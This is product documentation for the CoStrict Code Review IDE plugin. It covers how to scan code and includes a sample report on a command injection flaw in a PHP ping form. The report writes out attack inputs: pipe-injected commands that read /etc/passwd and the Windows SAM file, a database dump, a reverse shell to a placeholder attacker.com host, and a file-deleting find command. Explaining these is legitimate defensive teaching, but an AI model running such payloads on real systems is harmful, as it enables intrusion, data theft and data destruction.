Skip to main content

Code Review

CoStrict Code Review is an intelligent code quality inspection tool that precisely covers four categories of defects: logical defects, security vulnerabilities, static defects, and memory issues. It provides complete defect tracing with actionable fix recommendations, making your coding more focused and your submissions more confident.

System Requirements

Installation MethodVersion RequirementSupported Platforms
VSCode Plugin>= 2.1.3VSCode
JetBrains Plugin>= 2.1.3IDEA / PyCharm / WebStorm, etc.

How to Use

Perform interactive code quality scans through the IDE during the coding phase, providing real-time assistance to developers in identifying and fixing code issues.

  • Supports conversational interaction windows for instant communication and quick issue localization
  • Can incorporate prior knowledge (such as business context, coding standards, etc.) to improve detection accuracy
  • Displays model reasoning process so you know exactly why an issue was reported

Scan Methods

Method 1: Scan Code File

In the file explorer, right-click on a file and select CoStrict > Code Review to perform a code scan on the entire file.

Method 2: Scan Selected Code Snippet

In the editor, select a code snippet, then right-click and choose Code Review to scan the selected code.

Method 3: Scan Code Changes

Click the CoStrict icon on the left sidebar, switch to the Code Scan page, and scan code changes in the current workspace.

Scan Report

After triggering a code review, the CODE REVIEW panel displays real-time progress. The scanning duration is proportional to the amount of code being processed, ranging from a few minutes to several tens of minutes. Once the scan is complete, the CODE REVIEW panel displays the results.

View Issue List

  • Scan Summary: The number of files scanned and the total number of issues found
  • Issue List: File path, line number, description, and severity level, with color bars indicating severity: Red (High), Yellow (Medium), Blue (Low)
  • Issue Filtering: Filter by severity, issue labels, and other conditions

View Issue Details

Click on an issue to view details in the code editor. The corresponding problematic code line will be automatically located and highlighted, with a detailed report displayed in a floating panel below.

Defect Analysis - Analyzes the root cause, trigger conditions, and exploitation methods Business Impact - Assesses security risks and potential attack scenarios Fix Recommendations - Provides actionable fix solutions and reference code

View Complete Example

[High] Command Injection Vulnerability - Incomplete Blacklist Filter Allows Pipe Bypass

Defect Analysis

Root Cause: The blacklist filtering mechanism has serious design flaws

  • Line 12: '| ' → Only filters "pipe+space" combination, single | character is not filtered
  • Line 9: '||''' Although || is filtered, attackers can use a single | for command injection
  • Line 10: '&''' Filters single &, so && bypass is ineffective (will be split and filtered)

Trigger Conditions

Attacker Input: 127.0.0.1|whoami (Windows/Linux universal)

Process:

  1. After str_replace() processing, the | character is retained (because it doesn't match the '| ' pattern)
  2. Final execution: ping 127.0.0.1|whoami
  3. Result: The whoami command is executed and returns results

Bypass Methods

TypeExample
Universal bypassUse a single `
Windows127.0.0.1|dir, 127.0.0.1|type C:\Windows\System32\config\SAM
Linux127.0.0.1|cat /etc/passwd, 127.0.0.1|id

Business Impact

Security Risks:

  • Remote Code Execution - Attackers can execute arbitrary system commands
  • Full System Control - Lateral movement after gaining web server access
  • Data Theft - Read sensitive files (database configs, user data, keys, etc.)
  • Privilege Escalation - Escalate to root/administrator through system vulnerabilities
  • Persistent Attacks - Plant backdoors, Web Shells, malicious scripts

Attack Scenarios:

  • Information gathering: \|cat /etc/passwd to get user list
  • Database theft: \|mysqldump -u root -p database > dump.sql
  • Reverse shell: \|bash -i >& /dev/tcp/attacker.com/4444 0>&1
  • Ransomware: \|find / -name "*.doc" -exec rm {} \;

Fix Recommendations

Solution 1: Use Whitelist Validation (Recommended)

if( !preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $target ) ) {
die( 'Invalid IP address format' );
}

Solution 2: Escape Dangerous Characters (Not Recommended, Still Bypassable)

$target = escapeshellarg( $target );
$cmd = shell_exec( 'ping ' . $target );

Solution 3: Remove All Non-Essential Characters

$target = preg_replace( '/[^0-9.]/', '', $target );

View Defect History

Click the clock icon in the top-right corner of the panel to view historical scan records. The history panel includes the following features:

  • Record List: Displays all scanned files and scan times
  • Expand Records: Click a record to expand and view specific defect entries
  • Record Management: Each record and defect entry supports deletion

After expanding a history record, you can view the code and defect details for that scan on the right side.

Handle Defects

The defect detail card provides four action buttons in the top-right corner:

  • Accept: Acknowledge the issue, keep code unchanged
  • Reject: Dismiss the issue, consider it not a problem or AI output is incorrect
  • Fix: Apply the fix solution, automatically repair code with context
  • Close: Close the detail card

Your feedback will help make the Code Review feature smarter and more accurate.